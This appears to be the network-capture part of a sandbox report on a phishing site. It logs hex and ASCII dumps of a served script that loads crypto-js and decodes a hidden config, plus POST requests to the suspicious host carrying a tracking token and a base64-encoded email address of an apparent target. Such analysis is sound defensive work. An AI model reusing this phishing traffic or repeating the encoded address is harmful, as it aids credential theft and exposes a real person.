2024-10-18 13:47:45 UTC	405	IN	Data Raw: 37 39 37 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7979!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 Data Ascii: o&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==t
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a Data Ascii: ar o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f Data Ascii: arse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._do
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d Data Ascii: ,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 Data Ascii: 092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&i)
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 Data Ascii: >>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=42
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b Data Ascii: ),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 Data Ascii: i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;retur
2024-10-18 13:47:45 UTC	1369	IN	Data Raw: 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 Data Ascii: (o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49717	103.17.8.67	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:44 UTC	471	OUT	GET /img/arull.php?0096797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3dverbal HTTP/1.1 Host: www.linksideas.poc-asia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:45 UTC	222	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:47:45 GMT Server: Apache Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2024-10-18 13:47:45 UTC	1300	IN	Data Raw: 35 30 38 0d 0a 76 61 72 20 6a 6f 69 6e 74 6c 79 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 6a 6f 69 6e 74 6c 79 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 6a 6f 69 6e 74 6c 79 29 3b 0d 0a 6a 6f 69 6e 74 6c 79 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 76 61 72 20 7b 61 2c 62 2c 63 2c 64 7d 20 3d 20 4a 53 4f 4e 2e 70 61 72 73 65 28 61 74 6f 62 28 22 65 79 4a 68 49 Data Ascii: 508var jointly= document.createElement("script");jointly.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(jointly);jointly.onload=function(){var {a,b,c,d} = JSON.parse(atob("eyJhI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49720	184.28.90.27	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:45 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-18 13:47:46 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=10636 Date: Fri, 18 Oct 2024 13:47:46 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49721	103.17.8.67	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:46 UTC	780	OUT	POST /img/arull.php HTTP/1.1 Host: www.linksideas.poc-asia.com Connection: keep-alive Content-Length: 139 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:46 UTC	139	OUT	Data Raw: 64 69 76 3d 37 39 37 39 36 37 37 30 34 62 35 33 36 39 33 32 33 30 37 34 36 34 35 30 37 39 37 33 32 66 35 30 37 61 37 33 37 38 34 63 35 34 33 30 37 61 34 61 35 34 33 30 33 37 34 65 33 30 35 35 37 36 34 66 37 61 33 39 35 35 35 30 36 61 34 34 34 62 34 63 33 38 34 65 35 35 34 38 34 31 34 31 33 64 33 64 26 65 3d 59 32 46 79 62 48 6b 75 61 6d 39 7a 5a 58 42 6f 51 47 56 32 5a 58 4a 69 63 6d 6c 6b 5a 32 55 75 59 32 39 74 Data Ascii: div=797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3d&e=Y2FybHkuam9zZXBoQGV2ZXJicmlkZ2UuY29t
2024-10-18 13:47:46 UTC	217	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:47:46 GMT Server: Apache Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-18 13:47:46 UTC	2175	IN	Data Raw: 38 37 33 0d 0a 3c 68 74 6d 6c 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 09 09 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 73 74 79 6c 65 3e 62 6f 64 79 2c 68 74 6d 6c 7b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 66 6c Data Ascii: 873<html><head><meta name="robots" content="noindex, nofollow"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><style>body,html{margin:30px;display:flex;justify-content:center;align-items:center;fl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49722	103.17.8.67	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:46 UTC	623	OUT	GET /favicon.ico HTTP/1.1 Host: www.linksideas.poc-asia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.linksideas.poc-asia.com/img/arull.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:46 UTC	164	IN	HTTP/1.1 404 Not Found Date: Fri, 18 Oct 2024 13:47:46 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-18 13:47:46 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:47 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-18 13:47:47 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25922 Date: Fri, 18 Oct 2024 13:47:47 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-18 13:47:47 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49725	103.17.8.67	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:47:49 UTC	872	OUT	POST /img/arull.php HTTP/1.1 Host: www.linksideas.poc-asia.com Connection: keep-alive Content-Length: 137 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.linksideas.poc-asia.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.linksideas.poc-asia.com/img/arull.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:47:49 UTC	137	OUT	Data Raw: 61 3d 37 39 37 39 36 37 37 30 34 62 35 33 36 39 33 32 33 30 37 34 36 34 35 30 37 39 37 33 32 66 35 30 37 61 37 33 37 38 34 63 35 34 33 30 37 61 34 61 35 34 33 30 33 37 34 65 33 30 35 35 37 36 34 66 37 61 33 39 35 35 35 30 36 61 34 34 34 62 34 63 33 38 34 65 35 35 34 38 34 31 34 31 33 64 33 64 26 62 3d 59 32 46 79 62 48 6b 75 61 6d 39 7a 5a 58 42 6f 51 47 56 32 5a 58 4a 69 63 6d 6c 6b 5a 32 55 75 59 32 39 74 Data Ascii: a=797967704b5369323074645079732f507a73784c54307a4a5430374e3055764f7a3955506a444b4c384e554841413d3d&b=Y2FybHkuam9zZXBoQGV2ZXJicmlkZ2UuY29t
